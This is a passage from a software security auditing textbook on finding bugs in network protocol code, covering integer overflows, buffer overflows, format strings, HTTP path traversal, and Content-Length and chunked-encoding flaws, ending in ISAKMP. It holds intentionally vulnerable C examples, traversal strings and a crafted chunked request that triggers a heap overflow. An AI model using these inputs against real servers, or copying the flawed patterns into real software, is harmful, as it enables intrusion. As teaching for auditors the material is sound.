could go wrong. Don't worry if this doesn't happen right away; the more experience 

you get, the more you develop a feel for potential problem areas. One way to identify 

potential problem areas is to analyze the structure of untrusted data processed by a 

server or client application, and then match elements of those structures with 

vulnerability classes covered in this book, as explained in the following sections. 

Binary Protocols 

Binary protocols express protocol messages in a structural format that's not readable 

by humans. Text data can be included in parts of the protocol, but you also find 

elements in nontext formats, such as integers or Booleans. Domain Name System 

(DNS) is one example of a binary protocol; it uses bit fields to represent status 

information, two-byte integer fields to represent lengths and other data (such as IDs), 

and counted text fields to represent domain labels. 

Binary protocols transmit data in a form that's immediately recognizable by the 

languages that implement servers and clients. Therefore, they are more susceptible 

to boundary condition vulnerabilities when dealing with those data types. Specifically, 

when dealing with integers, a lot of the typing issues discussed in Chapter 6(? [????.]), 

"C Language Issues," are relevant. For this reason, the following sections summarize 

integer-related vulnerabilities that commonly occur in binary protocols. 

http://www.sysinternals.com/
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Integer Overflows and 32-Bit Length Values 

Integer overflows often occur when 32-bit length variables are used in protocols to 

dynamically allocate space for user-supplied data. This vulnerability usually results in 

heap corruption, allowing a remote attacker to crash the application performing the 

parsing or, in many cases, exploit the bug to run arbitrary code. This code shows a 

basic example of an integer overflow when reading a text string: 

char *read_string(int sock) 

{ 

 

   char *string; 

   size_t length; 

 

   if(read(sock, (void *)&length, sizeof(length)) != 

           sizeof(length)) 

       return NULL; 

 

   length = ntohl(length); 

 

   string = (char *)calloc(length+1, sizeof(char)); 

 

   if(string == NULL) 

       return NULL; 

 

   if(read_bytes(sock, string, length) < 0){ 

       free(string); 

       return NULL; 

   } 

 

   string[length] = '\0'; 

 

   return string; 

} 

 

In the fictitious protocol the code is parsing, a 32-bit length is supplied, indicating the 

length of the string followed by the string data. Because the length value isn't 

checked, a value of the highest representable integer (0xFFFFFFFF) triggers an 

integer overflow when 1 is added to it in the call to calloc(). 

Integer Underflows and 32-Bit Length Values 

Integer underflows typically occur when related variables aren't adequately checked 

against each other to enforce a relationship, as shown in this example: 
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struct _pkthdr { 

    unsigned int operation; 

    unsigned int id; 

    unsigned int size; 

}; 

struct _tlv { 

    unsigned short type, length; 

    char value[0]; 

} 

 

int read_packet(int sock) 

{ 

    struct _pkthdr header; 

    struct _tlv tlv; 

    char *data; 

    size_t length; 

 

    if(read_header(sock, &header) < 0) 

        return 1; 

 

    data = (char *)calloc(header.size, sizeof(char)); 

 

    if(data == NULL) 

        return 1; 

 

    if(read_data(sock, data, header.size) < 0){ 

        free(data); 

        return 1; 

    } 

 

    for(length = header.size; length > sizeof(struct tlv); ){ 

        if(read_tlv(sock, &tlv) < 0) 

            goto fail; 

 

        ... process tlv ... 

 

        length -= tlv.length; 

    } 

 

    return 0; 

} 

 

In this fictitious protocol, a packet consists of a header followed by a series of type, 

length, and value (TLV) structures. There's no check between the size in the packet 
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header and the size in the TLV being processed. In fact, the TLV length field can be 

bigger than the length in the packet header. Sending this packet would cause the 

length variable to underflow and the loop of TLV processing to continue indefinitely, 

processing arbitrary process memory until it hits the end of the segment and crashes. 

Integer underflows can also occur when length values are required to hold a minimum 

length, but the parsing code never verifies this requirement. For example, a binary 

protocol has a header containing an integer specifying the packet size. The packet 

size is supposed to be at least the size of the header plus any remaining data. Here's 

an example: 

#define MAX_PACKET_SIZE 512 

#define PACKET_HDR_SIZE 12 

 

struct pkthdr { 

    unsigned short type, operation; 

    unsigned long id; 

    unsigned long length; 

} 

 

int read_header(int sock, struct pkthdr *hdr) 

{ 

    hdr->type = read_short(sock); 

    hdr->operation = read_short(sock); 

    hdr->id = read_long(sock); 

    hdr->length = read_long(sock); 

 

    return 0; 

} 

 

int read_packet(int sock) 

{ 

    struct pkthdr header; 

    char data[MAX_PACKET_SIZE]; 

 

    if(read_header(sock, &header) < 0) 

        return 1; 

    if(hdr.length > MAX_PACKET_SIZE) 

        return 1; 

 

    if(read_bytes(sock, data, hdr.length  PACKET_HDR_SIZE) < 0) 

        return 1; 

 

    ... process data ... 

} 
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This code assumes that hdr.length is at least PACKET_HDR_SIZE (12) bytes long, but 

this is never verified. Therefore, the read_bytes() size parameter can be underflowed 

if hdr.length is less than 12, resulting in a stack overflow. 

Small Data Types 

The issues with length specifiers smaller than 32 bits (8- or 16-bit lengths) are a bit 

different from issues with large 32-bit sizes. First, sign-extension issues are more 

relevant because programs often natively use 32-bit variables, even when dealing 

with smaller data types. These sign-extension issues can result in memory corruption 

or possibly denial-of-service conditions. Listing 16-1 shows a simple example of DNS 

server code. 

Listing 16-1. Name Validation Denial of Service 

.text:0101D791 

.text:0101D791                 push    ebx 

.text:0101D792                 push    esi 

.text:0101D793                 mov     esi, [esp+arg_0] 

.text:0101D797                 xor     ebx, ebx 

.text:0101D799                 movzx   edx, byte ptr [esi] 

.text:0101D79C                 lea     eax, [esi+2] 

.text:0101D79F                 mov     ecx, eax 

.text:0101D7A1                 add     ecx, edx 

.text:0101D7A3 

.text:0101D7A3 loc_101D7A3:                           ; CODE XREF: 

Name_ValidateCountName(x)+21 

.text:0101D7A3                 cmp     eax, ecx 

.text:0101D7A5                 jnb     short loc_101D7B6 

.text:0101D7A7                 movsx   edx, byte ptr [eax] 

.text:0101D7AA                 inc     eax 

.text:0101D7AB                 test    edx, edx 

.text:0101D7AD                 jz      short loc_101D7B4 

.text:0101D7AF                 add     eax, edx 

.text:0101D7B1                 inc     ebx 

.text:0101D7B2                 jmp     short loc_101D7A3 

 

This piece of assembly code contains a sign-extension problem (which is bolded). It 

roughly translates to this C code: 

int Name_ValidateCountName(char *name) 

{ 
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    char *ptr = name + 2; 

    unsigned int length = *(unsigned char *)name; 

 

    for(ptr = name + 2, end = ptr + length; ptr < end; ) 

    { 

        int string_length = *ptr++; 

 

        if(!domain_length) 

            break; 

 

        ptr += domain_length; 

     } 

 

     ... 

} 

 

This code loops through a series of counted strings until it reaches the end of the data 

region. Because the pointer is pointing to a signed character type, it's sign-extended 

when it's stored as an integer. Therefore, you can jump backward to data appearing 

earlier in the buffer and create a situation that causes an infinite loop. You could also 

jump to data in random memory contents situated before the beginning of the buffer 

with undefined results. 

Note 

In fact, the length parameter at the beginning of the function isn't validated against 

anything. So based on this code, you should be able to indicate that the size of the 

record being processed is larger than it really is; therefore, you can process memory 

contents past the end of the buffer. 

 

 

Text-Based Protocols 

Text-based protocols tend to have different classes of vulnerabilities than binary 

protocols. Most vulnerabilities in binary protocol implementations result from type 

conversions and arithmetic boundary conditions. Text-based protocols, on the other 

hand, tend to contain vulnerabilities related more to text processingstandard buffer 

overflows, pointer arithmetic errors, off-by-one errors, and so forth. 

Note 
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One exception is text-based protocols specifying lengths in text that are converted to 

integers, such as the Content-Length HTTP header discussed in "Posting Data(? 

[????.])" later in this chapter. 

 

 

Buffer Overflows 

Because text-based protocols primarily manipulate strings, they are more vulnerable 

to simpler types of buffer overflows than to type conversion errors. Text-based 

protocol vulnerabilities include buffer overflows resulting from unsafe use of string 

functions (discussed in Chapter 9(? [????.]), "Strings and Metacharacters"), as shown 

in this simple example: 

int smtp_respond(int fd, int code, char *fmt, ...) 

{ 

    char buf[1024]; 

    va_list ap; 

 

    sprintf(buf, "%d ", code); 

 

    va_start(ap, fmt); 

    vsprintf(buf+strlen(buf), fmt, ap); 

    va_end(ap); 

 

    return write(fd, buf, strlen(buf)); 

} 

 

int smtp_docommand(int fd) 

 

{ 

    char *host, *line; 

    char commandline[1024]; 

 

    if(read_line(fd, commandline, sizeof(commandline)-1) < 0) 

        return -1; 

 

    if(getcommand(commandline, &line) < 0) 

        return -1; 

    switch(smtpcommand) 

    { 

        case EHLO: 

        case HELO: 

            host = line; 

            smtp_respond(fd, SMTP_SUCCESS, 
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                        "hello %s, nice to meet you\n", host); 

 

            break; 

 

        ... 

    } 

} 

 

The smtp_respond() function causes problems when users supply long strings as 

arguments, which they can do in smtp_docommand(). Simple buffer overflows like this 

one are more likely to occur in applications that haven't been audited thoroughly, as 

programmers are usually more aware of the dangers of using strcpy() and similar 

functions. These simple bugs still pop up from time to time, however. 

Pointer arithmetic errors are more common than these simple bugs because they are 

generally more subtle. It's fairly easy to make a mistake when dealing with pointers, 

especially off-by-one errors (discussed in more detail in Chapter 7(? [????.])). These 

mistakes are especially likely when there are multiple elements in a single line of text 

(as in most text-based protocols). 

Text-Formatting Issues 

Using text strings opens the doors for specially crafted strings that might cause the 

program to behave in an unexpected way. With text strings, you need to pay 

attention to string-formatting issues (discussed in Chapter 8(? [????.]), "Program 

Building Blocks") and resource accesses (discussed in more detail in "Access to 

System Resources"). However, you need to keep your eye out for other problems in 

text data decoding implementations, such as faulty hexadecimal or UTF-8 decoding 

routines. Text elements might also introduce the potential for format string 

vulnerabilities in the code. 

Note 

Format string vulnerabilities can occur in applications that deal with binary or 

text-based formats. However, they're more likely to be exploitable in applications 

dealing with text-based protocols because they are more likely to accept a format 

string from an untrusted source. 

 

 

Data Verification 

In many protocols, the modification (or forgery) of exchanged data can represent a 

security threat. When analyzing a protocol, you must identify the potential risks if 
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false data is accepted as valid and whether the protocol has taken steps to prevent 

modifications or forgeries. To determine whether data needs to be secured, ask these 

simple questions: 

 Is it dangerous for third parties to read the information going across the 

network? 

 Could forged or modified data result in a security breach of the receiver? 

If the answer to the first question is yes, is encryption necessary? This chapter 

doesn't cover the details of validating the strength of a cryptographic implementation, 

but you can refer to the discussion of confidentiality in Chapter 2(? [????.]) on 

enforcing this requirement in design. If the answer to the second question is yes, 

verification of data might be required. Again, if cryptographic hashing is already used, 

you need to verify whether it's being applied in a secure fashion, as explained in 

Chapter 2(? [????.]). Forging data successfully usually requires that the protocol 

operate over UDP rather than TCP because TCP is generally considered adequate 

protection against forged messages. However, modification is an issue for protocols 

that operate over both UDP and TCP. 

If you're auditing a well-known and widely used protocol, you need not worry 

excessively about answering the questions on authentication and sensitivity of 

information. Standards groups have already performed a lot of public validation. 

However, any implementation could have a broken authentication mechanism or 

insecure use of a cryptographic protocol. For example, DNS message forging using 

the DNS ID field is covered in "DNS Spoofing(? [????.])" later in this chapter. This 

issue is the result of a weakness in the DNS protocol; however, whether a DNS client 

or server is vulnerable depends on certain implementation decisions affecting how 

random the DNS ID field is. 

Access to System Resources 

A number of protocols allow users access to system resources explicitly or implicitly. 

With explicit access, users request resources from the system and are granted or 

denied access depending on their credentials, and the protocol is usually designed as 

a way for users to have remote access to some system resources. HTTP is an example 

of just such a protocol; it gives clients access to files on the system and other 

resources through the use of Web applications or scripts. Another example is the 

Registry service available on versions of Microsoft Windows over RPC. 

Implicit access is more of an implementation issue; the protocol might not be 

designed to explicitly share certain resources, but the implementation provisions 

access to support the protocols functionality. For example, you might audit a protocol 

that uses data values from a client request to build a Registry key that's queried or 

even written to. This access isn't mentioned in the protocol specification and happens 

transparently to users. Implicit access is often much less protected that explicit 
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access because a protocol usually outlines a security model for handling explicit 

resource access. Additionally, explicit resource accesses are part of the protocol's 

intended purpose, so people tend to focus more on security measures for explicit 

resource access. Of course, they might be unaware of implicit accesses that happen 

when certain requests are made. 

When you audit an application protocol, you should note any instances in which 

clients can access resourcesimplicitly and explicitlyon the system, including reading 

resources, modifying existing resources, and creating new ones. Any application 

accesses quite a lot of resources, and it's up to you to determine which resource 

accesses are important in terms of security. For example, an application might open 

a configuration file in a static location before it even starts listening for network traffic. 

This resource access probably isn't important because clients can't influence any part 

of the pathname to the file or any part of the file data. (However, the data in the file 

is important in other parts of the audit because it defines behavioral characteristics 

for the application to adhere to.) 

After you note all accesses that are interesting from a security perspective, you need 

to determine any potential dangers of handling these resources. To start, ask the 

following questions: 

 Is credential verification for accessing the resource adequate? You need to 

determine whether users should be allowed to access a resource the 

application provides. Maybe no credentials are required, and this is fine for a 

regular HTTP server providing access to public HTML documents, for example. 

For resources that do require some level of authentication, is that 

authentication checked adequately? The answer depends on how the 

authentication algorithm is designed and implemented. Some algorithms rely 

on cryptographic hashes; others might require passwords or just usernames, 

ala RPC_AUTH_UNIX. Even if cryptography is used, it doesn't mean 

authentication is foolproof. Small implementation oversights can lead to major 

problems. Refer to Chapter 2(? [????.]) to help you determine whether any 

cryptographic authentication in use is adequate for your purposes. 

 Does the application give access to resources that it's supposed to? Often an 

application intends to give access to a strict subset of resources, but the 

implementation is flawed and specially crafted requests might result in 

disclosure of resources that should be off-limits. For example, the Line Printer 

Daemon (LPD) service takes files from a client and puts them in a spool 

directory for printing. However, if filenames are supplied with leading double 

dots (..), some implementations erroneously allowed connecting clients to 

place files anywhere on the system! When assessing an application for similar 

problems, the material from Chapter 8(? [????.]) offers detailed information 

on reviewing code that handles path-based access to resources. 

8.3.3 Hypertext Transfer Protocol 
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Hypertext Transfer Protocol (HTTP) is used to serve dynamic and static content from 

servers to clients (typically Web browsers). It's a text-based protocol, so many of the 

vulnerabilities in C/C++ HTTP implementations result from string manipulation 

errorsbuffer overflows or incorrect pointer arithmetic. 

Note 

The popularity of HTTP has caused its design to influence a number of other protocols, 

such as RTSP (Real Time Streaming Protocol) and SIP (Session Initiation Protocol). 

These similarities in design generally lead to similar problem areas in the 

implementation, so you can leverage your knowledge of one in reviewing the other. 

 

HTTP is discussed in more depth when covering Web applications in Chapter 17(? 

[????.]), "Web Applications," but this section gives you a quick overview. HTTP 

requests are composed of a series of headers delineated by end-of-line markers 

(CRLF, or carriage return and linefeed). The first line is a mandatory header indicating 

the method the client wants to perform, the resource the client wants to access, and 

the HTTP version. Here's an example: 

GET /cgi-bin/resource.cgi?name=bob HTTP/1.0 

 

The method describes what the client wants to do with the requested resource. 

Typically, only GET, HEAD, and POST are used for everyday Web browsing. Chapter 17(? 

[????.]) lists several additional request methods. 

Header Parsing 

One of the most basic units of HTTP communication is the HTTP header, which is 

simply a name and value pair in the following format: 

name: value 

 

Headers can generally have any name and value. The HTTP server handling the 

request simply ignores a header it doesn't recognize; that is, the unknown header is 

stored with the rest of the headers and passed to any invoked component, but no 

special processing occurs. The code for parsing headers is fairly simple, so it's unlikely 

to contain vulnerabilities. However, a special type of header, known as a folded 

header, is more complex and could lead to processing vulnerabilities. 

Headers are usually one line long, but the HTTP specification allows multiline headers, 

which have a normal first line followed by indented lines, as shown: 
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name: value data 

    more value data 

    even more value data 

 

HTTP servers that support this header might make assumptions about the maximum 

size of a header and copy too much data when encountering folded headers, as shown 

in this example: 

int read_header(int soc, char **buffer) 

{ 

    static char scratch[HTTP_MAX_HEADER], *line; 

    unsigned int size = HTTP_MAX_HEADER, read_bytes = 0; 

    int rc; 

    char c; 

 

    for(line = scratch;;){ 

        if((rc = read_line(sock, line+read_bytes, 

                          HTTP_MAX_HEADER)) < 0) 

            return 1; 

 

        if(peek_char(sock, &c) < 0) 

            return 1; 

 

        if(c != '\t' && c != ' ') 

            return line; 

 

        size += HTTP_MAX_HEADER; 

 

        if(line == scratch) 

            line = (char *)malloc(size); 

        else 

            line = (char *)realloc(line, size); 

 

        if(line == NULL) 

            return 1; 

        read_bytes += rc; 

     } 

} 

 

struct list *read_headers(int sock) 

{ 

    char *buffer; 

    struct list *headers; 
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    LIST_INIT(headers); 

 

    for(;;){ 

        if(read_header(sock, &buffer) < 0){ 

            LIST_DESTROY(headers); 

            return NULL; 

        } 

    } 

} 

 

int log_user_agent(char *useragent) 

{ 

    char buf[HTTP_MAX_HEADER*2]; 

 

    sprintf(buf, "agent: %s\n", useragent); 

 

    log_string(buf); 

 

    return 0; 

} 

 

The log_user_agent() function has an obvious overflow, but normally, it couldn't be 

triggered because the read_header() function reads at most HTTP_MAX_HEADER bytes 

per line, and the buffer in log_user_agent() is twice as big as that. Developers 

sometimes use less safe data manipulation when they think supplying malicious input 

isn't possible. In this case, however, that assumption is incorrect because arbitrarily 

large headers can be supplied by using header folding. 

Accessing Resources 

Exposing resources to clients (especially unauthenticated ones) can be dangerous, 

but the whole point of an HTTP server is to serve content to clients. However, the code 

for requesting access to resources must be careful. There are hundreds of examples 

of HTTP servers disclosing arbitrary files on the file system, as shown in this simple 

example of a bug: 

char *webroot = "/var/www"; 

 

int open_resource(char *url) 

{ 

    char buf[MAXPATH]; 

 

    snprintf(buf, sizeof(buf), "%s/%s", webroot, url); 
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    return open(buf, O_RDONLY); 

} 

 

This code is intended to open a client-requested file from the /var/www directory, but 

the client can simply request a file beginning with ../../ and access any file on the 

system. This is possible because no checking is done to handle dots in the filename. 

HTTP servers are also particularly vulnerable to encoding-related traversal bugs. You 

saw an example in Chapter 8(? [????.]), but here's another simple example: 

char *webroot = "/var/www"; 

 

void hex_decode(char *path) 

{ 

    char *srcptr, *destptr; 

 

    for(srcptr = destptr = path; *srcptr; srcptr++){ 

        if(*srcptr != '%' || (!srcptr[1] || !srcptr[2])){ 

            *destptr++ = *srcptr; 

            continue; 

        } 

 

        *destptr++ = convert_bytes(&srcptr[1]); 

 

            srcptr += 2; 

        } 

 

        *destptr = '\0'; 

 

        return; 

 

} 

 

int open_resource(char *url) 

{ 

    char buf[MAXPATH]; 

 

    if(strstr(url, "..")) 

        return -1; // user trying to do directory traversal 

 

    hex_decode(url); 

 

    snprintf(buf, sizeof(buf), "%s/%s", webroot, url); 

 

    return open(buf, O_RDONLY); 
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} 

 

Obviously, this code is dangerous because it does hexadecimal decoding after it 

checks the URL for directory traversal. So a URL beginning with %2E%2E/%2E%2E allows 

users to perform a directory traversal, even though the developers intended to deny 

these requests. 

Some HTTP servers implement additional features or keywords; they are implicitly 

processed by the server to perform a different task with the document being 

requested. Should you encounter a server that does this, familiarize yourself with the 

code dealing with those special features or keywords. Developers often fail to account 

for the security implications of these features because they are operating outside the 

core specification, so vulnerable mistakes or oversights in implementing these 

features are possible. 

Utility Functions 

Most HTTP servers include a lot of utility functions that have interesting security 

implications. In particular, there are functions for URL handlingdealing with URL 

components such as ports, protocols, and paths; stripping extraneous paths; dealing 

with hexadecimal decoding; protecting against double dots; and so forth. Quite a 

large codebase can be required just for dealing with untrusted data, so checking for 

buffer overflows and similar problems is certainly worthwhile. In addition, logging 

utility functions can be interesting, as most HTTP servers log paths and methods, 

which could create an opportunity to perform format string attacks. Here's an 

example of some vulnerable code: 

int log(char *fmt, ...) 

{ 

    va_list ap; 

 

    va_start(ap, fmt); 

    vfprintf(logfd, fmt, ap); 

    va_end(ap); 

 

    return 0; 

} 

 

int log_access(char *path, char *remote_address) 

{ 

    char buf[1024]; 

 

    snprintf(buf, sizeof(buf), "[ %s ]: %s accessed by %s\n", 

             g_sname, path, remote_address); 
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    return log(buf); 

} 

 

This type of code isn't uncommon (at least it wasn't when format string vulnerabilities 

were first brought to public attention). By having multiple layers of functions that take 

variable arguments, code can easily be susceptible to format string attacks, and 

logging utility functions are one of the most common areas for this code to appear. 

Posting Data 

Another potential danger area in HTTP occurs when handling input supplied via the 

POST method. There are two methods used when supplying data via a POST method: a 

simple counted data post and chunked encoding. 

In a simple counted data post, a block of data is supplied to the HTTP server in a 

message. The size of this data is specified by using the Content-Length header. A 

request might look like this: 

POST /app HTTP/1.1 

Host: 127.0.0.1 

Content-Length: 10 

 

1234567890 

 

In this request, the block of data is supplied after the request headers. How this 

length value is interpreted, however, could create a serious vulnerability for an HTTP 

server. Specifically, you must consider that large values might result in integer 

overflows or sign issues (covered in Chapter 6(? [????.]), "C Language Issues"). 

Here's an example of a simple integer overflow: 

char *read_post_data(int sock) 

{ 

   char *content_length, *data; 

   size_t clen; 

 

   content_length = get_header("Content-Length"); 

 

   if(!content_length) 

       return NULL; 

 

   clen = atoi(content_length); 
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   data = (char *)malloc(clen + 1); 

 

   if(!data) 

       return NULL; 

 

   tcp_read_data(s, data, clen); 

 

   data[clen] = '\0'; 

 

   return data; 

} 

 

The Content-Length value is converted from a string to an integer and then used to 

allocate a block of data. Because the conversion is unchecked, a client could supply 

the maximum representable integer. When it's added to in the argument to malloc(), 

an integer overflow occurs and a small allocation takes place. The following call to 

tcp_read_data() then allows data read from the network to overwrite parts of the 

process heap. Also, note that the line in the code that NUL-terminates the 

user-supplied buffer writes a NUL byte out of bounds (because clen is 0xFFFFFFFF, 

which is equivalent to data[-1]one byte before the beginning of the buffer). 

The second issue in dealing with Content-Length header interpretation involves 

handling signed Content-Length values. If the length value is interpreted as a 

negative number, size calculation errors likely occur, with memory corruption being 

the end result. Consider the following code (originally from AOLServer): 

typedef struct Request { 

    ... other members ... 

 

    char *next;    /* Next read offset. */ 

    char *content;    /* Start of content. */ 

    int  length;    /* Length of content. */ 

    int  avail;    /* Bytes avail in buffer. */ 

    int  leadblanks;    /* # of leading blank lines read */ 

 

    ... other members ... 

} Request; 

 

static int 

SockRead(Sock *sockPtr) 

{ 

    Ns_Sock *sock = (Ns_Sock *) sockPtr; 

    struct iovec buf; 

    Request *reqPtr; 
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    Tcl_DString *bufPtr; 

    char *s, *e, save; 

    int  cnt, len, nread, n; 

 

    ... 

    s = Ns_SetIGet(reqPtr->headers, "content-length"); 

    if (s != NULL) { 

        reqPtr->length = atoi(s); 

    ... 

       if (reqPtr->length < 0 

          && reqPtr->length > 

          sockPtr->drvPtr->servPtr->limits.maxpost) { 

          return SOCK_ERROR; 

       } 

 

    ... 

    if (reqPtr->coff > 0 && reqPtr->length <= reqPtr->avail) { 

        reqPtr->content = bufPtr->string + reqPtr->coff; 

        reqPtr->next = reqPtr->content; 

        reqPtr->avail = reqPtr->length; 

 

        /* 

         * Ensure that there are no "bonus" crlf chars left 

         * visible in the buffer beyond the specified 

         * content-length. This happens from some browsers 

         * on POST requests. 

         */ 

        if (reqPtr->length > 0) { 

            reqPtr->content[reqPtr->length] = '\0'; 

        } 

 

        return (reqPtr->request ? SOCK_READY : SOCK_ERROR); 

    } 

 

This code is quite strange. After retrieving a Content-Length specified by users, it 

explicitly checks for values less than 0. If Content-Length is less than 0 and greater 

than maxpost (also a signed integer, which is initialized to a default value of 256KB), 

an error is signaled. A negative Content-Length triggers the first condition but not the 

second, so this error doesn't occur for negative values supplied to Content-Length. 

(Most likely, the developers meant to use || in the if statement rather than &&.) As a 

result, reqPtr->avail (meant to indicate how much data is available in 

reqPtr->content) is set to a negative integer of the attacker's choosing, and is then 

used at various points throughout the program. 
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Data can also be posted to HTTP servers via chunked encoding. With this method, 

input is supplied by a series of delineated chunks and then combined when all chunks 

have been received to form the original data contents. Instead of specifying a content 

size with the Content-Length header, the Transfer-Encoding header is used, and it 

takes the value "chunked." It also has a boundary pattern to delineate the supplied 

chunks. The header looks something like this: 

Transfer-Encoding: chunked; boundary= 

 

A chunk is composed of a size (expressed in hexadecimal), a newline (carriage 

return/line feed [CRLF] combination), the chunk data (which is the length specified by 

the size), and finally a trailing newline (CRLF combination). Here's an example: 

8 

AAAAAAAA 

10 

AAAAAAAABBBBBBBB 

0 

 

The example shows two data chunks of lengths 8 and 16. (Remember, the size is in 

hexadecimal, so "10" is used rather than the decimal "16.") A 0-length chunk 

indicates that no more chunks follow, and the data transfer is complete. As you might 

have guessed, remote attackers specifying arbitrary sizes has been a major problem 

in the past; careful sanitation of specified sizes is required to avoid integer overflows 

or sign-comparison vulnerabilities. These vulnerabilities are much like the errors that 

can happen when processing a Content-Length value that hasn't been validated 

adequately, although processing chunk-encoded data poses additional dangers. In 

the Content-Length integer overflows, an allocation wrapper performing some sort of 

rounding was necessary for a vulnerability to exist; otherwise, no integer wrap would 

occur. With chunked encoding, however, data in one chunk is added to the previous 

chunk data already received. By supplying multiple chunks, attackers might be able 

to trigger an integer overflow even if no allocation wrappers or rounding is used, as 

shown in this example: 

char *read_chunks(int sock, size_t *length) 

{ 

    size_t total = 0; 

    char *data = NULL; 

 

    *length = 0; 

 

    for(;;){ 

        char chunkline[MAX_LINE]; 
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        int n; 

 

        size_t chunksize; 

 

        n = read_line(sock, chunkline, sizeof(chunkline)-1); 

 

        if(n < 0){ 

            if(data) 

                free(data); 

            return NULL; 

        } 

 

        chunkline[n] = '\0'; 

 

        chunksize = atoi(chunkline); 

 

        if(chunksize == 0)        /* no more chunks */ 

            break; 

 

        if(data == NULL) 

            data = (char *)malloc(chunksize); 

        else 

            data = (char *)realloc(data, chunksize + total); 

 

        if(data == NULL) 

            return NULL; 

 

        read_bytes(sock, data + total, chunksize); 

 

        total += chunksize; 

 

        read_crlf(sock); 

    } 

 

    *length = total; 

 

    return data; 

} 

 

As you can see, the read_chunks() function reads chunks in a loop until a 0-length 

chunk is received. The cumulative data size is kept in the total variable. The problem 

is the call to realloc(). When a new chunk is received, the buffer is resized to make 

room for the new chunk data. If the addition of bytes received and the size of the new 
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chunk is larger than the maximum representable integer, an overflow on the heap 

could result. A request to trigger this vulnerability would look something like this: 

POST /url HTTP/1.1 

Host: hi.com 

Transfer-Encoding: chunked 

 

8 

xxxxxxxx 

FFFFFFF9 

xxxxxx... (however many bytes you want to overflow by) 

 

The request is composed of two chunks: a chunk of length 8 bytes and a chunk of 

length 0xFFFFFFF9 bytes. The addition of these two values results in 1, so the call to 

realloc() attempts to shrink the buffer or leave it untouched yet read a large number 

of bytes into it. 

Note 

The reason FFFFFFF9, not FFFFFFF8, bytes is used in this example is because with 

FFFFFFF8, the result of the addition would be 0, and many implementations of 

realloc() act identically to free() if a 0 is supplied as the size parameter. When this 

happens, realloc() returns NULL. Even though you could free data unexpectedly by 

supplying a 0 size to realloc(), the function would just return, and the vulnerability 

wouldn't be triggered successfully. 

 
 

8.3.4 Internet Security Association and Key Management Protocol 

The demand for virtual private network (VPN) technology has increased, so protocols 

that enable VPN functionality have seen an explosion in use over the past five years 

or so. VPN technology requires establishing encrypted tunnels between two 

previously unrelated hosts for some duration of time. Establishing these tunnels 

requires some sort of authentication mechanism (unidirectional or bidirectional) to 

verify the other party in the tunnel setup and a mechanism to securely create an 

encrypted channel. Enter Internet Security Association and Key Management 

Protocol (ISAKMP), a protocol designed to allow parties to authenticate each other 

and securely derive an encryption key that can be used for subsequent encrypted 

communications. 

31051536.html
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An ISAKMP packet is composed of an ISAKMP header followed by a variable number 

of payloads, each of which can be a variable length. The header layout is shown in 

Figure 16-1. 

Figure 16-1. ISAKMP protocol header 

 

 

The fields in the header are as follows. 

 Initiator cookie (64 bits) This unique value is generated by the party wanting 

to establish a new secure tunnel (and, therefore, initiating the ISAKMP 

communications). It's used to keep track of the session. 

 Responder cookie (64 bits) This unique value is generated by the other party 

to which a client wants to establish a secure tunnel. It uniquely identifies the 

session for the responder. 

 Next payload (8 bits) This type value describes the first payload following the 

ISAKMP header (explained in "Payload Types" later in this chapter). 

 Major version (4 bits) This field is the major protocol version used by the 

sender. 

 Minor version (4 bits) This field is the minor protocol version used by the 

sender. 

 Exchange type (8 bits) This field describes the way in which ISAKMP 

negotiation occurs. 

 Flags (8 bits) This field indicates the options set for the ISAKMP exchange. 

 Message ID (32 bits) This field is used to uniquely identify a message. 

 Length (32 bits) This field is the total length of the packet in bytes (including 

the ISAKMP header). 

The ISAKMP packet header contains a 32-bit length field. Application programmers 

can easily make mistakes with binary protocols handling untrusted 32-bit integers, so 
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you should examine code that deals with this integer carefully. Primarily, signed 

issues and integer overflows could happen if code fails to deal appropriately with data 

received from the network. Here's a typical example: 

#define ROUNDUP(x) ((x + 7) & 0xFFFFFFF8) 

 

void *mymalloc(size_t length) 

{ 

   return malloc(ROUNDUP(length)); 

} 

 

int process_incoming_packet(int sock) 

{ 

    struct isakmp_hdr header; 

    unsigned char *packet; 

    unsigned long length; 

    int n; 

 

    if((n = read(sock, (void *)&header, sizeof(header))) != 

                                            sizeof(header)) 

        return -1; 

 

    length = ntohl(header.length); 

 

    if((packet = (unsigned char *)mymalloc(length)) == NULL) 

        return 1; 

 

 

    ... process data ... 

} 

 

The mymalloc() function rounds up the integer passed to it, so this code is vulnerable 

to an integer overflow. Using the allocator scorecards from Chapter 7(? [????.]), 

"Program Building Blocks," you would see this bug straight away. It's a textbook 

example of an allocation wrapper proving dangerous for functions that make use of it. 

Another interesting thing about the length field in the header is that it's the total 

length of the packet, including the ISAKMP header, which means developers might 

assume the length field is larger than (or equal to) the ISAKMP header's size (8 bytes). 

If this assumption were made, integer underflow conditions might result. A slightly 

modified version of the previous example is shown: 

#define ROUNDUP(x) ((x + 7) & 0xFFFFFFF8) 

#define ISAKMP_MAXPACKET        (1024*16) 
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void *mymalloc(size_t length) 

{ 

    return malloc(ROUNDUP(length)); 

} 

 

int process_incoming_packet(int sock) 

{ 

    struct isakmp_hdr header; 

    unsigned char *packet; 

    unsigned long length; 

    int n; 

 

    if((n = read(sock, (void *)&header, sizeof(header))) != 

                                            sizeof(header)) 

        return -1; 

 

    length = ntohs(header.length); 

 

    if(length > ISAKMP_MAXPACKET) 

        return 1; 

 

    if((packet = (unsigned char *)mymalloc(length  

                  sizeof(struct isakmp_hdr))) == NULL) 

        return 1; 

 

    ... process data ... 

} 

 

In this example, there's a sanity check for unusually large length values, so an integer 

overflow couldn't be triggered as in the previous example. However, length is 

assumed to be larger than or equal to sizeof(struct isakmp_hdr), but no explicit 

check is ever made. Therefore, a length value less than sizeof(struct isakmp_hdr) 

causes the argument to mymalloc() to underflow, resulting in a very large integer. If 

this argument is passed to directly to malloc(), this large allocation might just fail. 

However, because the mymalloc() function rounds up its size parameter, it can be 

made to wrap over the integer boundary again. This causes a small allocation that's 

probably followed by another read() operation with a large size argument. 

Payloads 

As mentioned, the remainder of an ISAKMP packet is composed of a varying number 

of payloads. All payloads have the same basic structure, although the data fields in 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 961 

the payload are interpreted differently, depending on their type. The payload 

structure is shown in Figure 16-2. 

Figure 16-2. ISAKMP payload header structure 

 

 

 Next payload (8 bits) This field identifies the type of the next payload in the 

packet. If there's no payload following this one, the next payload type is set to 

none (0). 

 Reserved (8 bits) Not yet used. 

 Length (16 bits) This field specifies the length of the payload (including the 

four header bytes). 

 Data This field represents the payload data. Its meaning depends on the 

payload type. 

The length field is, of course, significant when processing payloads. The issues in 

